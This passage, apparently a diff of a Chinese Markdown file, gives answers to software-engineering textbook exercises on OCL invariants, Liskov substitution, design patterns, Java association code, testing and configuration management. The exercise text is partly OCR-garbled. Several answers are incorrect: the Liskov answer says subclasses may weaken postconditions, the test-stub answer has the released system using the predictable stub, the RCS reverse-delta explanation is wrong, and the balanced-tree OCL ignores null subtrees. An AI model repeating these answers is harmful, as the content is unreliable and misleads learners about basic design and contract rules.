写的约束进行改进,注意要确保所做的符合Liskov 替换准则。 +- int size0返回在Collection 中的元素数目。 +- void add(object e)往Collection 中加入一个新的对象。 + +- voidremove(obiecte)从Collection中移除 一个对象。 +- Boolean contains(object e)判断对象e 是否在 +- Collection 中,如在Collection 中,则返回值为真。 + + +前置条件和后置条件 +int size() +前置条件: + +无 + +后置条件: + +返回的整数值等于Collection中包含的所有元素的数量。 + +void add(Object e) +前置条件: + +e必须是非空对象 +后置条件: + +新的元素已经添加到Collection中。 +Collection中至少有一个更多的元素,除非此时该元素已存在于集合中。 否则不做任何操作。 +void remove(Object e) +前置条件: + +e必须是非空对象 + +后置条件: + +如果Collection中存在Object e,则它被删除并返回true +如果Collection中不存在Object e,则返回false并且Collection没有被修改 +boolean contains(Object e) +前置条件: + +e必须是非空对象 + +后置条件: + +如果Collection中包含Object e,则返回true。否则返回false + +Liskov 替换原则( LSP )是子类型关系的特定定义,称为强行为子类型,最初由Barbara Liskov在 1987 年题为数据抽象和层次结构的会议主题演讲中引入。它基于“可替换性”的概念——面向对象编程中的一个原则,指出一个对象(例如一个类)可以被一个子对象(例如一个扩展第一类的类)替换而不破坏程序。 +如果 S 是 T 的子类型,则适用于 T 对象的情况也适用于 S 对象 + +4.有一个Rectangle 类和从Rectangle 类继承的Square 类: +- 根据 Rectangle.getWidth:int 和 Rectangle.getHeight:int 操作为 Rectangle.set- Width(w:int)和Rectangle.setHeightth:int 操作编写后置条件。 + +后置条件 +对于 Rectangle 类的 setWidth(w:int) 操作,其后置条件为:矩形的宽度应该设置为w。 +对于 Rectangle 类的 setHeight(h:int) 操作,其后置条件为:矩形的高度应该设置为h。 + + +- 为Square编写一个不变式说明 一个Square的宽和高应该是一样的。 + +一个Square的宽和高应该相等。 + +- 对Square.setWidth() 和Square.setHeightQ()操作考虑第9.4.5 节中表述的继承契约的规则,它们是不是都符合了?为什么没有?应该在模型中对什么做改变? + +Square 子类应该**满足其父类 Rectangle 的前置条件**,并可以**弱化其后置条件**。也就是说,对于 Square 类中的 setWidth() 和 setHeight() 操作,其前置条件应该与 Rectangle 类中对应操作的前置条件相同或更弱,且后置条件应该与 Rectangle 类中对应操作的后置条件相同或更弱。 + +```java +class Square extends Rectangle { + // 省略其他属性和方法 + + /** + * 为Square.setWidth() 添加继承契约规则 + * 前置条件:width 应该是大于0的整数,且等于原始正方形的宽或高。 + * 后置条件:正方形的宽与高都应该设置为 width. + */ + @Override + public void setWidth(int width) { + this.width = width; + this.height = width; + } + + /** + * 为Square.setHeight() 添加继承契约规则 + * 前置条件:height 应该是大于0的整数,且等于原始正方形的宽或高。 + * 后置条件:正方形的宽与高都应该设置为 height. + */ + @Override + public void setHeight(int height) { + this.width = height; + this.height = height; + } +} + +``` + +5.考態一 个排好序的队列 。用 OCL 编写不变式来表示队列中的元素己经排好序 +``` +context Queue +inv: self.elements->sorted() = self.elements +``` + +6.考虑一个用来保存整型数的排好序的二叉树数据结构。用OCL 编写不变式表示下列情况: +- 所有结点的左子树保存的整型数都小于或是等于当前结点所 保存的整型数 , 要么它的子树为空 。 +``` +context TreeNode +inv: self.left = null or self.left.value <= self.value +``` + +- 所有结点的在右子树保存的整型数都大于当前结点所保存的整型数,要么它的右子树为空。 +``` +context TreeNode +inv: self.right = null or self.right.value > self.value +``` + +- 该子树是平衡的 + +它的左子树和右子树的高度差不能超过1 +``` +context TreeNode +inv: abs(self.left.height - self.right.height) <= 1 +``` + +7.考患两条交叉的道路和四个交通灯。假设一个简单的转换交通灯的算法,这样一条路 上的交通灯工作的时候另一条路上的交通灯就停止工作。每 一个交通灯可以看作是 TrafficLight 类的一个实例,TrafficLight 类中有一个state属性,它可以是red、yellow 或是green。用OCL对TrafficLight 类的state属性编写 一个不变式,来确保两条路上 的traftic 不会同时停止。如果有必要的话,就在该模型上增加关联。注意OCL 约束 是对类而言的 (不是针对实例的)。 + +TrafficLight应该具有以下属性和关系: + +属性: +state:用于表示红色、黄色或绿色的状态。 +关联: +与OneRoad关联:指向当前TrafficLight所在的那条路。 +与AnotherRoad关联:指向另一条路上的TrafficLight。 +``` +context TrafficLight +inv TrafficLightsCannotStopSimultaneously: + (self.state = 'red' and self.OneRoad.trafficActive = true) implies (self.AnotherRoad.trafficActive = false) + and + (self.state = 'red' and self.AnotherRoad.trafficActive = true) implies (self.OneRoad.trafficActive = false) +``` + +该OCL约束条件使用了TrafficLight的state属性以及与两条路之间的关联。在当前TrafficLight状态为red且OneRoad上交通灯仍在工作时,则AnotherRoad上的交通灯必须被禁止。反之亦然。这样就可以确保两条道路上的TrafficLight状态不会同时变为red。 + + +8.在读了第9.6.2节和第9.6.3 节后,为实现Tournamentstyle 和Round 接又,对 RoundRobinstyle 类和RoundRobinRound 类编写约束。假设RoundRobinStyle 可以筹 划一连串的Round,使得每个Player 在Tournament 中都能和其他的Player 仅配对一 次。注意,Round 的数目是由Tournament 中的Player 的数目是奇数还是偶数所决定 的,并且一个Player 在一个给定的Round 中只能参加一次。 +``` +context RoundRobinStyle +inv UniquePlayerPairs: + self.Rounds.games->forAll(game1, game2 | + not (game1.players->includesAll(game2.players) and game1 <> game2) + ) +``` +``` +context RoundRobinRound +inv UniquePlayerPerMatch: + self.games.matches.players->forAll(player1, player2 | + not (player1 = player2 and self.games.matches.players->count(player1) > 1) + ) + +``` +RoundRobinStyle类的约束条件使用Rounds关联访问游戏,并检查每个游戏是否具有唯一的Player对。这是通过检查每个游戏之间是否存在重叠来完成的,以及通过比较不同游戏之间的差异来完成的。 + +RoundRobinRound类的约束条件使用Games关联访问Matches,并确保每个match中的players都是唯一的。这是通过检查Players集合中未重复的元素数量是否等于集合大小来完成的。 + + + +## Part10 +1.在Web 页中,表由行组成,而行又由单元组成。每一个单元的实际宽度和高度有些 是通过对内容的计算而得到 〈 如,单元中文本的数量,行的高度是行中所有单元的 高度的最大值。因此,wcb 中表的最终位置只有在每一个单元的内容已经从Internet 返回后才可计算得到。使用代理proxy 模式描述图10-7,描述一个对象模型和算法, 可使得Web浏览器可以在知道所有单元大小之前显示一个表,并在每个单元的内容下载后可重画这个表。 + + +定义一个Table接口,包括方法getRowCount()、getColumnCount()和getCellContents(row, col)。 + +创建一个RealTable类,实现Table接口并代表实际的表格。这个类可以有一个名为cells的二维数组,表示表格中的所有单元格和它们的内容。 + +创建一个ProxyTable类,也实现Table接口。这个类存储了RealTable的引用,并在必要时使用它来检索单元格的内容。ProxyTable还将实现一些辅助功能,例如在加载单元格内容期间向用户显示加载指示符。 + +在Web浏览器中,当需要显示Table时,使用ProxyTable替换RealTable。当用户导航到表格页面时,仅下载表格的元数据(如行数和列数),然后立即显示一个具有正确大小但没有内容的空白表格。这使得用户能够看到表格的框架,并允许他们开始选择或操作表格的其他部分。 + +当用户开始浏览表格时,ProxyTable将逐个检索每个单元格的内容,并为每个单元格填充正确的内容。在这个过程中,ProxyTable可以在表格周围显示加载进度指示符,以让用户知道表格内容正在被载入。 + +2.对下面的关联应用图描述的适当转换 。 假设所有关联都是双向的 , 并且在每个对象的生命期中可以改变。写出管理这个关联所需要的源代码,包括类、 宇段和方法声明、方法体和可见性。 + +MailBox 和 folder 双向聚合,folder 和 message 双向聚合, message 和 View 双向关联 + +```java +public class MailBox { + private List folders = new ArrayList<>(); + + public void addFolder(Folder folder) { + if (!folders.contains(folder)) { + folders.add(folder); + folder.setMailbox(this); + } + } + + public void removeFolder(Folder folder) { + if (folders.remove(folder)) { + folder.setMailbox(null); + } + } + + public List getFolders() { + return Collections.unmodifiableList(folders); + } +} + + +public class Folder { + private MailBox mailbox; + private List messages = new ArrayList<>(); + + public void setMailbox(MailBox mailbox) { + this.mailbox = mailbox; + } + + public MailBox getMailbox() { + return mailbox; + } + + public void addMessage(Message message) { + if (!messages.contains(message)) { + messages.add(message); + message.setFolder(this); + } + } + + public void removeMessage(Message message) { + if (messages.remove(message)) { + message.setFolder(null); + } + } + + public List getMessages() { + return Collections.unmodifiableList(messages); + } +} + + +public class Message { + private Folder folder; + private List views = new ArrayList<>(); + + public void setFolder(Folder folder) { + this.folder = folder; + folder.addMessage(this); + } + + public Folder getFolder() { + return folder; + } + + public void addView(View view) { + if (!views.contains(view)) { + views.add(view); + view.setMessage(this); + } + } + + public void removeView(View view) { + if (views.remove(view)) { + view.setMessage(null); + } + } + + public List getViews() { + return Collections.unmodifiableList(views); + } +} + + +public class View { + private Message message; + + public void setMessage(Message message) { + this.message = message; + message.addView(this); + } + + public Message getMessage() { + return message; + } +} + + +``` + +3.对下面的关联应用10.4.2 节中描述的适当的转换。假设所有的关联都是双向的,但聚集关联在每个对象创建后就不会发生改变。换句话说,每个类的创建者一个应该 修改,因而聚集在每个对象创建期问初始化。写出管理这个关联所需要的源代码, 包括类、字段和方法声明、方法体和可见性。 + +League 和 Tournament 双向聚合,Tournament 和 Round 双向聚合, Tournament 和 Player双向关联 + +```java +public class League { + private List tournaments; + + public League() { + tournaments = new ArrayList<>(); + } + + public void addTournament(Tournament tournament) { + if (!tournaments.contains(tournament)) { + tournaments.add(tournament); + tournament.setLeague(this); + } + } + + public void removeTournament(Tournament tournament) { + if (tournaments.remove(tournament)) { + tournament.setLeague(null); + } + } + + public List getTournaments() { + return Collections.unmodifiableList(tournaments); + } +} + + +public class Tournament { + private League league; + private List rounds; + private List players; + + public Tournament() { + rounds = new ArrayList<>(); + players = new ArrayList<>(); + } + + public void setLeague(League league) { + this.league = league; + } + + public League getLeague() { + return league; + } + + public void addRound(Round round) { + if (!rounds.contains(round)) { + rounds.add(round); + round.setTournament(this); + } + } + + public void removeRound(Round round) { + if (rounds.remove(round)) { + round.setTournament(null); + } + } + + public List getRounds() { + return Collections.unmodifiableList(rounds); + } + + public void addPlayer(Player player) { + if (!players.contains(player)) { + players.add(player); + player.setTournament(this); + } + } + + public void removePlayer(Player player) { + if (players.remove(player)) { + player.setTournament(null); + } + } + + public List getPlayers() { + return Collections.unmodifiableList(players); + } +} + + +public class Round { + private Tournament tournament; + + public void setTournament(Tournament tournament) { + this.tournament = tournament; + } + + public Tournament getTournament() { + return tournament; + } +} + + +public class Player { + private Tournament tournament; + + public void setTournament(Tournament tournament) { + this.tournament = tournament; + } + + public Tournament getTournament() { + return tournament; + } +} + +``` + +4.图10-15描述了系列赛Tournament 中addPlayer0方法的检测代码。写出图9-16中描 述的与系列赛Tournar ent 关联的另 一个约束的检测代码。 + +5.写出9. 6.2 节描述的比赛风格 Tournamentstyle 和Round 的契约的检测代码。写出前 置条件、后置条件和不变量的检测代码。 + +6.为图 10-30 中的对象模型设计 一个关系数据库模式。假设联盟 League、系列赛 Tournament、选手Player 和Round 有一个name 屆性和 一个唯一的标识符。另外,系列赛 Tournament 和Round 有start 和end 日期属性。当不同的转换可使用时,解释 包 含的 折 中 + +7.画出表示 下面的应用领域实际情况的类图,并将它映射到 一个关系模式 +(在数据库设计中,将一个类图转换为一张或多张关系表的过程称为“映射到关系模式”) +- 一个包含许多参与者的项目。 +- 参与者在一个项目中扮演项目经理、团队领导或开发者中的 一个角色。 +- 在一个项目中,每一个开发者和困队领导至少属 于一个团队。 +- 一个参与者可以参加几个项目,并可以扮演不同的角色。例奶,一个参与者可以 是项日A 中 一个开发者,项目B 的团队领导,同时是项目C 的经理。然而,一个参与者在 一个项目中的角色不可以发生改变 + +``` +@startuml +class Project { + - id: int + - name: String + - participants: Set +} + +class Participant { + - id: int + - name: String + - projects: Set + - roles: Map +} + +enum Role { + MANAGER, TEAM_LEADER, DEVELOPER +} + +class Team { + - id: int + - name: String + - leader: Participant + - developers: Set +} + +Project "1" *-- "*" Participant : contains +Participant "0..*" -- "1..*" Project : belongs to +Participant "0..*" -- "0..*" Team : belongs to +Team "1" -- "0..*" Participant : comprises + +@enduml + +``` +Project表包含以下属性:id(主键)、name。 +Participant表包含以下属性:id(主键)、name、team_id(外键参考Team表的id列),以及一个关系映射表project_participant,它有project_id和role两个列。 +Team表包含以下属性:id(主键)、name、leader_id(外键 + +8.有两种通用的方法可以将关联映射到集合集合。在 10. 6. 2 节中,我们将 N 元关联统 计Statistics映射到两个类,一个简单的统计类Statistics用于存储关联的属性, 一个 StatisticsVault 类用于存储关联链接中的链接状态。在10.4.2节中,我描述了一种交 替的方法,在改进的方法中,关联链接存储 于关联两端的其中一 个或两个类中。在 存储 于两个类中的事件链接中,我们增加相同的递归方法以确保两个数据结构保持 一致。使用第二个方法將N 元统计Statistics 关联映射到集合。讨论遇到的权衡问 题和每 一个方法的相对优势。 + + + +## Part-11 + + + +1.改正在图11-12中isleapYear0方法和getNumDaysInMonthO方法中的错误,并使用 路径测试方法来产生测试用例,发现的测试用例是否与表11-4 和图11- 13 的有所 不同?为什 么?发现的测试用例是否揭示修改的错误? + +2.对 2 B w a t c h 的 用 例 (图 1 1 - 1 4 ) , 根 据 S e t T i m e 状 态 图 导 出 等 效 J a v a 代 码 , 根 据 产 生的代码使用等价测试 、边界测试和路径测试来产生测试用例。这些测试用例与基 于状态得到的测试用例相比较结果如何? + +3.对图11-24 中的购买票用例PurchaseTicket,构建其状态图序列。使用基于状态测试 技术产生基 于状态图的测试用例。讨论测试用例的数量和比较同图 11- 25 测试用例 的差异。 + +4.给 出 如 下子 系 统 分 解 , 要 做 出 的 决 定 做 什 么 ? 测 试 计 划 的 优 点 和 缺 点 是 什 么 ? +layer1:User Interface +layer2:Billing EventService Learning +layer3: Database NetWork Neural NetWork +这是一个三层的系统架构,其中最上层是用户界面,第二层是计费、事件服务和学习,第三层是数据库、网络和神经网络。为了做出决策,需要考虑系统的功能要求、性能需求、安全需求、可用性和可维护性等因素,并根据这些因素选择合适的技术方案。 + +对于测试计划,其优点包括: + +帮助发现并解决软件缺陷,提高软件质量 +可与开发流程紧密结合,支持快速迭代和敏捷开发 +提升测试效率,节省时间和成本 +其缺点包括: + +无法完全覆盖所有可能性,测试结果具有局限性 +测试过程需要投入人力、物力、时间等资源成本 +测试结果可能存在误报或漏报的情况,需要人工审查和修复 + +5.负责一个网络加密传输系统的集成测试。这个系统包括 一个用于随机数的序列号产生器子系统。在集成测试期间,使用关键产生桩程序产生一个可预知的结果, 然而,对于己经发布的系统版本,用桩程序执行代替随机产生,以便序列号不可以被外人预见。使用一种设计模式使得这两个序列号生成器实现在运行时能够交换执行。确认的选择。 + +随机数的序列号产生器子系统是一个算法或行为,在集成测试期间需要使用关键产生桩程序产生可预知的结果,而在已发布的系统版本中则需要用桩程序执行代替随机产生以保证安全性。因此,我们可以把随机数的序列号产生器子系统看做一个策略族,在不同的环境下选择不同的实现。 + +可以定义一个序列号生成器接口和两个实现类:随机数序列号生成器和产生桩程序序列号生成器。另外,还需要一个环境类,负责在运行时动态地切换序列号生成器的实现。当需要生成序列号时,环境类内部调用当前序列号生成器的方法即可。 + +另一个可以考虑的设计模式是模板方法模式。 + +模板方法模式定义了一个算法的框架,将算法的多个步骤封装在不同的方法中,并且允许子类重写某些步骤以实现特定的行为。在模板方法模式中,通常有一个抽象基类定义算法框架,具体子类实现算法的各个步骤。 + +在本例中,我们可以定义一个序列号生成器基类,其中包括一个生成序列号的算法框架。具体实现类随机数序列号生成器和产生桩程序序列号生成器分别继承这个基类并重写部分步骤以实现不同的行为。 + +在运行时,我们可以根据需要选择生成哪种类型的序列号。对于已发布的系统版本,我们通过调用产生桩程序序列号生成器的子类来代替随机产生序列号的子类,从而使得序列号不可以被外人预见。 + +通过使用模板方法模式,我们可以尽量避免代码重复,提高代码复用性和可维护性,同时也降低了客户端代码的耦合性。 + +6.对于在图11-15和图8-11中出现的NetworkConnection 类的全部方法,使用路径测 试产生测试用例。扩充源代码,以移去任何多态。使用路径测试产生多少测试用例? 当源代码不扩充时,产生多少测试用例? + +7.当源代码不扩充时,产生多少测试用例? 从本章里,运用软件工程和测试术语,对在Feynman 的文章里使用的术语进行介绍: +- 什么是“裂缝”? +在软件工程中,“裂缝”通常指软件系统设计或实现中的问题点或缺陷,类似于建筑中的裂缝。 + + +- 什么是“开始产生裂缝”? + +“开始产生裂缝”指的是软件系统出现问题或缺陷的时间点,这可能由于设计、实现或测试等方面的原因 + +- 什么是“高度引擎可靠性”? + +高度引擎可靠性”指的是在特定环境下运行的引擎或软件具有非常高的稳定性和鲁棒性。 + +- 什么是“设计目标”? + +设计目标”指的是在进行软件设计时要达到的特定目标或要求,例如性能、可维护性、可扩展性等。 + +- 什么是“等价任务” ? + +“等价任务”与“等效类划分”相关,是将输入、输出、状态空间等分成不同的等价类(即将具有相似特征的测试数据归为一类),以便从每个等价类中选择一组最具代表性的测试数据来执行测试。 + +- “初始规格说明的10%” 的含义是什么? + +“初始规格说明的10%”是指在软件开发过程中,最初的规格说明文档可能只覆盖了软件系统所需功能的10%,需要通过迭代和反馈来不断完善和修改。 + +- 当Feynman 说“由于注意到了缺点和设计错误,在进 一步的测试中就能够进行修 正和验证”,如何使用术语“验证” ? + +在软件测试中,“验证”指的是确认软件是否满足指定的需求和规格说明、是否符合预期的行为或结果,包括功能性验证、性能验证、安全验证等。在Feynman文章中,他指的是通过进一步的测试来修正设计错误和缺陷并验证软件是否满足要求。 + + +## Part-12 + +1.分析在CTC 系统中,与访问控制和通知有关的问题。选择一个在CTC 开发过程中可能出现的类似的问题,问题由相关的提议,标准和讨论,和解 决方案的合理解释。这种问题的实例包括: +• 怎样维护主服务器和热备份之间的一致性? +• 应该怎样检测到主服务器的失败,以及怎样实现随后热备份的切换? + +如何确保数据备份的完整性?如何保证备份数据的及时性?如果主服务器发生故障,应该如何快速地从备份中恢复数据? + +如何确保数据备份的完整性? +- 比较备份数据和原始数据:使用专门的比较工具(如Beyond Compare、WinMerge等)来比较备份数据和原始数据,并检查它们是否一致。如果发现不同,需要找出原因并及时采取措施。 +- 定期检查硬盘:对备份数据所在的硬盘进行定期检查,查找坏道等问题,并修复或更换有问题的硬盘,以确保备份数据的完整性 +- 使用 RAID 技术:RAID 技术可以让多个硬盘组合成一个逻辑驱动器,提高数据备份的可靠性和恢复能力。例如,RAID 5 可以在一定程度上抵御单个硬盘故障而不导致数据丢失。 +- 使用加密技术:将备份数据进行加密处理,可以防止未经授权的人访问备份数据,从而保证了数据备份的安全性和完整性。常用的加密算法包括 AES、RSA 等。 +- 建立备份策略和紧急恢复计划:建立详细的备份策略和紧急恢复计划,包括备份频率、备份存储位置、紧急恢复过程等信息。例如,可以定期备份数据到本地硬盘和云存储,并定期进行测试恢复以确保备份数据的完整性。 + +如何保证备份数据的及时性? +- 自动化备份计划:使用自动化工具来定期备份数据可以保证数据的及时性。例如,您可以设置一个每天或每周在不同时间备份数据的计划。 +- 实时备份:实时备份会持续监控新数据的产生并将其备份到相应的位置。这种备份方式可以实现数据备份的实时性,并减少数据丢失的可能性。 +- 增量备份:增量备份只备份发生更改的数据,而不是整个系统或硬盘,因此它们比完全备份更快和更简单。这种方式可在较短的时间内完成备份,并保证了备份数据的及时性。 +- 备份到云端:将数据备份到云存储服务中,可以在任何地方都能够及时访问和恢复数据,即使本地硬件故障或遭受攻击,仍然可以通过云端备份进行数据恢复。 +- 监视备份状态:需要定期检查备份数据的状态,以确保数据已经按预期备份。可以建立警报机制来提醒备份管理员有关备份失败、未备份等信息。 +- 测试备份的恢复能力:定期测试备份数据的恢复能力,这样可以验证备份是否有效,并查看备份类型、位置、时间和可用性等方面是否满足要求。 + +怎样维护主服务器和热备份之间的一致性 + +实时同步:使用实时同步技术可以确保主服务器和备份服务器上的数据始终保持一致。这种方式可以在主服务器上进行任何更改时及时反映在备份服务器上,从而避免了数据不一致的问题。 + +定期校验:定期对主服务器和备份服务器上的数据进行校验,以确保它们的内容、格式和结构都是相同的。例如,可以比较文件大小、修改日期、创建日期、文件夹结构等来确定数据是否一致。 + +避免损坏:使用高质量的硬件和软件组件来避免数据损坏。如果出现任何硬件或软件故障,则应立即将其纠正并重新启动备份服务器。 + +应急处理:准备好应急处理计划,以便在必要时立即启用。这可以包括原始数据的备份、可用热备份的紧急部署等操作,以确保系统尽快地重新恢复正常运行。 + +进行测试:定期对主服务器和备份服务器进行测试,以确保它们正常工作并且可以正确进行数据同步。这种测试可以模拟各种故障和应急场景,测试系统的恢复能力和数据一致性。 + +应该怎样检测到主服务器的失败,以及怎样实现随后热备份的切换? +应该怎样检测到主服务器的失败,以及怎样实现随后热备份的切换? +心跳监测:使用心跳监测技术来定期检查主服务器是否处于运行状态。例如,可以使用一个专门的心跳程序或组件来定期向主服务器发送请求,并根据响应时间和结果来确定服务是否可用。 + +网络监控:使用网络监控工具来实时监视主服务器和备份服务器之间的连接,并在网络故障或宕机时立即通知管理员。 + +日志分析:定期分析主服务器的系统日志和应用程序日志,以识别可能导致服务器故障的原因。例如,可以检查磁盘空间、CPU 利用率、内存占用率等指标,以便快速发现潜在问题并进行修复。 + +2.正在开发一个UML 建模工具。考虑将基本原理集成进到工具中。描述开发者怎样能够将问题附加到不同的模型元素中 去。画一 个问题模型的类图和与它 关联的模 型元素。 + +创建问题(Issue)类:该类应包含问题标题、描述、状态等属性。问题状态可以设为“已解决”、“待解决”等。此外,可以根据需求添加其他属性。 + +将问题类与模型元素相关联:可以通过创建关联或依赖关系来将问题类与不同的模型元素相关联。例如,可以创建一种关联关系,将问题类与活动图中的活动节点相关联。这样,当用户在活动节点上单击时,就可以显示相应的问题和解决方案。 +``` +@startuml +class Issue { + + title : String + + description : String + + status : String +} + +class Class +class SequenceDiagram +class ActivityDiagram +class UseCaseDiagram + +Class --> "*" Issue +SequenceDiagram --> "*" Issue +ActivityDiagram --> "*" Issue +UseCaseDiagram --> "*" Issue +@enduml +``` + + +我们创建了一个名为Issue的类来表示问题,其中包含了标题、描述和状态等属性。然后,我们将Class、SequenceDiagram、ActivityDiagram和UseCaseDiagram这四个模型元素与Issue类相关联。 + +通过这样的设计,每个模型元素都包含了一个问题列表,其中包含了与该元素相关的所有问题。当用户浏览或编辑模型时,可以很方便地查看并处理与该模型元素相关的所有问题。 + +3.下面的是 事故管理系统的一个系统设计文档的摘录。是永久存储的关系型数据库的 基本原理自然语言描述。用在12. 3节中定义的问题、提议、争论、标准和解决方案 来为这个基本原理建模 + +基本原理:永久存储的关系型数据库 + +问题:如何确保系统中所有数据都能够得到永久存储,以便在发生事故时进行溯源和分析? + +提议:使用一种关系型数据库来存储系统中的所有数据,并通过备份和灾备措施来确保数据的永久性保存。 + +争论:可能会有其他类型的数据库能够更好地满足系统要求,例如文档型数据库或图形数据库。此外,备份和灾备方案的实现可能会影响系统性能。 + +标准:必须使用支持事务和ACID特性的关系型数据库来存储数据,以确保 数据的一致性和可靠性。备份和灾备方案必须能够及时有效地恢复数据。 + +解决方案:为数据设计合适的表结构和关系,并使用SQL语言对数据库进行操作。使用定期备份和异地备份等灾备措施来保证数据不会因为硬件、软件或自然灾害而丢失,同时兼顾系统性能。同时,监控数据库运行状态,及时发现并修复潜在的故障。 + +4.考虑在12.3. 7 节中描述的NFR框架。画一个等价于在图12- 12中描述的目标图的QOC 模型。讨论在需求过程中用QOC和NFR 框架表示基本原理时,各自的优缺点。 + +5.正将 一个错误报告系统和 一个配置管理工具集成起来,以追踪错误报告、错误修 复、特性要求和升级。正考虑 一个问题模型来集成这些 工具。画一个问题模型的 类图、相应的讨论、配置管理和错误报告元素。 +``` +@startuml +class Report { + -ID: int + -description: string + -severity: string + -status: string + -reportedDate: Date + +getDescription(): string + +getSeverity(): string + +getStatus(): string +} + +class Fix { + -ID: int + -description: string + -codeChanges: string[] + -status: string + -fixedDate: Date + +getDescription(): string + +getCodeChanges(): string[] + +getStatus(): string +} + +class FeatureRequest { + -ID: int + -description: string + -priority: string + -status: string + -requestedDate: Date + +getDescription(): string + +getPriority(): string + +getStatus(): string +} + +class Discussion { + -ID: int + -sender: string + -recipient: string + -message: string + -timestamp: Date + +getSender(): string + +getRecipient(): string + +getMessage(): string +} + +class Configuration { + -version: string + -buildDate: Date + -options: map + +getVersion(): string + +getBuildDate(): Date + +getOption(key: string): string + +addOption(key: string, value: string): void + +removeOption(key: string): void +} + +Report -> Fix +Report -> Discussion +Fix -> Discussion +FeatureRequest -> Discussion +Configuration -- Report +Configuration -- Fix +Configuration -- FeatureRequest +@enduml + +``` + +错误报告、错误修复、特性要求和讨论,以及一个辅助元素:配置。每个类包含有关其相应元素的信息和操作。 + +报告和修复之间具有一对多的关系,因为一个报告可能需要多次修复才能解决。讨论元素被所有其他元素共享,因为用户可以在这些元素之间进行交流和协作。配置元素与每个主要元素都有关联,因为每个主要元素都需要跟踪软件的不同版本或构建,并带有特定的设置和选项。 + + +## Part-13 + +1.RCS采用一种反向的delta方法来存储一个文件的多个版本。例如,假定一个文件有 三个版本——1. 1,1. 2,1. 3。RCS 存储版本1. 3作为文件,然后是1.2 和1.3 之间的 差 异 , 最 后 是 1 . 1 和 1 . 2 之 间 的 差 异 。 当 创 建 一个 新 版 本 时 , 奶 1 . 4 , 在 1 . 3 和 1 . 4 之 间的差异就被计算和存储,且删除版本1. 3,由1.4来替代。试解释为什么RCS 不是 简 单 地 存 储 最 初 的 版 本 (本 例 中 是 1 . 1 ) 和 每 个 连 续 的 版 本 之 间 的 差 异 。 + +RCS采用反向delta方法存储文件的多个版本,而不是简单地存储初始版本和每个连续版本之间的差异,是因为这种方法可以节省存储空间并提高处理效率。当一个文件被修改时,只需要存储与前一版本不同的部分,而不是整个文件以及与之前每个版本不同的所有部分。这意味着随着版本数量的增加,需要存储和处理的数据量更小,因此操作速度更快,同时还减少了存储成本。另外,如果对于某个版本可能有多个修改,那么这些修改也可以通过计算差异来合并到一个新版本中,从而进一步减少存储空间。因此,反向delta方法是RCS能够有效管理大量版本并保持数据一致性的关键。 + +2.CVS 使用简单的基于文本的规则去标识合并之问的重叠:如果在要合并的两个版本 中,变化同样的行,就有重登存在。如果没有这样的行存在,那么CVS 确定没有冲 突且版本自动地合并。例如,假定一个文件包含有 三个方法的类- +0 、60和c0。 两 个 开 发 者 独 立 地 在 文 件 上 工 作 。 如 果 它 们 都 改 变 了 代 码 的 同 一 行 , 比 如 方 法 日0 的 第 一行 , 那 么 C V S 就 确 定 这 里 有 一个 冲 突 。 试 解 释 为 什 么 这 种 方 法 不 能 检 测 某 类 冲 突。提供答案的 一个实例。 + +CVS使用基于文本的规则标识合并冲突,但是这种方法不能检测出所有类型的冲突。例如,在一个类中添加一个新方法和修改另一个方法的同一行不会被视为冲突,因为它们是不同的更改。然而,当尝试将两个版本合并时,新方法和已修改方法的更改可能会相互冲突,导致代码无法编译或产生错误结果。 因此,即使在没有重叠变化的情况下,也可能存在潜在的逻辑冲突。例如,假设一个开发人员添加了一个新方法,该方法与另一个开发人员在相同文件中修改的另一个方法产生了冲突,因为两个方法都需要访问相同的全局变量。 由于这种方法不能检测到所有类型的冲突,因此最好仔细审查代码,并确保在合并之前进行适当的测试来减少任何潜在的问题。 + +3.配置管理系统,如RVS、CVS 和Perforce 使用文件名和它们的路径去标识配置项。 试解释为什么这个特性阻止了CM聚集的配置管理,即使是存在标签的情况下 + +配置管理系统使用文件名和路径来标识配置项,这种方法有一个限制,即如果文件名或路径发生更改,则无法准确地识别以前的版本与新版本之间的差异。因此,即使在应用了标签的情况下,也可能会存在聚集的配置管理问题。 + +例如,假设在一个项目中有一个文件夹A中包含一个名为file1的文件。然后,该文件被标记为v1.0,并在其他文件中使用了它。随后,开发人员将文件夹A中的文件移动到文件夹B中,并重命名file1为file2。如果使用相同的标签v1.0检出代码,则文件file2将不在预期的位置上,代码无法编译,因为引用了不存在的文件。 + +由此可见,虽然使用标签可以减轻一些聚集性配置管理方面的问题,但它不能完全解决这个问题。为防止此类问题, 配置管理系统需要确保能够跟踪文件的历史记录、版本信息和更改,而不只是基于文件名和路径。 + +4.试解释配置管理如何对开发者有好处,即使没有变化控制或审计过程。列出两个场 景说明的解释。 + +项目合作 - 如果有多个开发人员共同参与一个项目,每个人都需要访问相同的代码库并能够快速找到他们所需的文件或模块。配置管理系统可以提供这种访问,并确保所有开发人员使用相同的版本控制规则和目录结构。这样的话,开发人员可以更加高效地协作开发,并减少与代码管理相关的错误和混乱。 + +版本发布 - 在软件开发中,版本控制和管理是非常重要的一环。如果一个开发人员想要发布他们的软件产品,他们需要能够确定他们发布的版本与他们使用的代码和依赖项相匹配。配置管理系统可以确保所有开发人员都使用相同的代码基础,并且能够跟踪版本历史记录,因此开发人员可以很容易地确定哪些组件已被包含在特定版本中,并从而更容易地进行发布。 + +5.我们描述了基本原理信息如何由问题模型来表示。为问题追踪系统画 一个UML 类图,这个系统使用一个问题模型来描述并讨论变化,以及它们与版本的 关 系。将注意力只集中在 系统的领域对象中。 + +``` +class Issue { + + id: string + + title: string + + description: string + + priority: string + + severity: string + + assignee: string + + status: string + + version: Version + + relatedIssues: List + + addComment(comment: Comment): void +} + +class Version { + + number: string + + releaseDate: date +} + +class Product { + + name: string + + modules: List + + versions: List + + createIssue(title: string, description: string, priority: string, severity: string, assignee: string): Issue +} + +class Module { + + name: string + + issues: List +} + +class User { + + name: string + + email: string + + createIssue(product: Product, module: Module, title: string, description: string, priority: string, severity: string): Issue + + addComment(issue: Issue, comment: Comment): void +} + +class Comment { + + text: string + + author: User + + createdDate: date +} + +Issue *- Version : uses +Product o- Module : has +Product o- Version : has +User o- Issue : creates +User o- Comment : writes +Issue o- "*" Issue : relates to +Issue "0..*" - Comment : has + +``` + +6.我 们 描 述 了质 量 控 制 系 统 如 何 发 现 由 子 系 统 创 建 的 升 级 版 中 的 错 误 。 画一个UML 行为图,包括变化过程活动并测试多个团队项目的活动。 + + + + +``` +@startuml +title Quality Control System + +actor Developer +participant UpgradeSubsystem +participant QualityControlSystem +participant TestSubsystem +participant MultipleTeamsProject + +== Change Process Activity == + +Developer -> UpgradeSubsystem : Create upgrade package +UpgradeSubsystem -> 